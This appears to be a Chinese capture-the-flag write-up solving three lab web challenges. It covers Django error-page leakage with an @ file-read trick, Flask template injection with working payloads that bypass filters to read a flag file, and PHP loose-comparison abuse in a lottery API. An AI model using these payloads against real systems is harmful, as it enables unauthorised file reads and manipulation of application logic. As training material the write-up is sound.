攻防世界 cat、Confusion1、lottery

cat

进入环境让输入域名测试baidu.com无反应

在这里插入图片描述

然后ping 127.0.0.1有回显

在这里插入图片描述

测试管道符拼接命令执行

在这里插入图片描述

但是回显都是Invalid URL FUZZ测试以下

在这里插入图片描述

发现只有@可以使用当输入@的时候会将@url编码为%40

那我尝试输入一个十六进制值让这个十六进制值大于url编码范围看看会出现什么结果(url十进制范围0-127)

在这里插入图片描述

在这里插入图片描述

出现了一些报错信息我们将这些html代码复制来看看

在这里插入图片描述

发现了是Django的报错界面,做到这一步,联想到前面的@字符没有被过滤,比赛的时候有个提示

在这里插入图片描述

这边的大体意思就是结合@可以读取内容我们去那个报错页面发现Djangod的绝对路径

在这里插入图片描述

django项目下一般有个settings.py文件是设置网站数据库的路径,所以我们去读取settings文件,这里需要注意django项目生成时settings.py会存放在以项目目录下再以项目名称命名的文件夹下面。

在这里插入图片描述

同样出现html报错信息我们另存为html用浏览器打开看一下

在这里插入图片描述

发现关键信息用@读取数据库信息

在这里插入图片描述

这样我们就发现了flag

Confusion1

进入环境进入regesiter模块结果返回个not found

在这里插入图片描述

但查看源码发现点提示

在这里插入图片描述

感觉是有点像SSTI模板注入的意思在里面了测试一下
在这里插入图片描述

{{7*7}}

确定为模板注入

先使用常规方法试试

{{''.__class__.__mro[2]__.__subclasses__()}}

不行应该是过滤了东西
在这里插入图片描述

{{url_for.__globals__}}

还是不行(权限不够)

在这里插入图片描述

那我们先看看config吧

{{config}}
The requested URL /register.php<Config {'JSON_AS_ASCII': True, 'USE_X_SENDFILE': False, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_NAME': 'session', 'MAX_COOKIE_SIZE': 4093, 'SESSION_COOKIE_SAMESITE': None, 'PROPAGATE_EXCEPTIONS': None, 'ENV': 'production', 'DEBUG': False, 'SECRET_KEY': None, 'EXPLAIN_TEMPLATE_LOADING': False, 'MAX_CONTENT_LENGTH': None, 'APPLICATION_ROOT': '/', 'SERVER_NAME': None, 'PREFERRED_URL_SCHEME': 'http', 'JSONIFY_PRETTYPRINT_REGULAR': False, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'TEMPLATES_AUTO_RELOAD': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'JSON_SORT_KEYS': True, 'JSONIFY_MIMETYPE': 'application/json', 'SESSION_COOKIE_HTTPONLY': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'TRAP_HTTP_EXCEPTIONS': False}> was not found on this server.

尝试request

{{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__

在这里插入图片描述

有了结合信息收集到的flag路径我们将他读出来即可

{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

这样我们成功拿到了flag

在这里插入图片描述

lottery

进入题目是一个类似于买彩票的东西我们先去注册个账号,然后发现可以buy flag,大概理解题目意思,我们要么只能在买彩票的时候让我们中大奖要么只能改变自己的余额,原题目应该使用dirsearch扫描发现git泄露然后使用Githack复原的但是攻防世界这边直接把源码给了我们

源码中关键函数在api.php中在api.php中我们注意到requests是json格式的

header('Content-Type: application/json');

我们重点来看buy函数

function buy($req){
	require_registered();
	require_min_money(2);

	$money = $_SESSION['money'];
	$numbers = $req['numbers'];
	$win_numbers = random_win_nums();
	$same_count = 0;
	for($i=0; $i<7; $i++){
		if($numbers[$i] == $win_numbers[$i]){
			$same_count++;
		}
	}
	switch ($same_count) {
		case 2:
			$prize = 5;
			break;
		case 3:
			$prize = 20;
			break;
		case 4:
			$prize = 300;
			break;
		case 5:
			$prize = 1800;
			break;
		case 6:
			$prize = 200000;
			break;
		case 7:
			$prize = 5000000;
			break;
		default:
			$prize = 0;
			break;
	}
	$money += $prize - 2;
	$_SESSION['money'] = $money;
	response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}

其中win_numbers中的数字是随机生成0-6的数字,然后和用户输入的数字进行比较如果达到几个相同就返回对应的奖金给他,这里可以使用php弱类型比较(当然欧皇除外),当true和一个数字或一个字母比较的时候永远返回true,在购买彩票的时候我们进行抓包

在这里插入图片描述

然后我们多发几次直到钱够买flag

在这里插入图片描述

成功购买到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值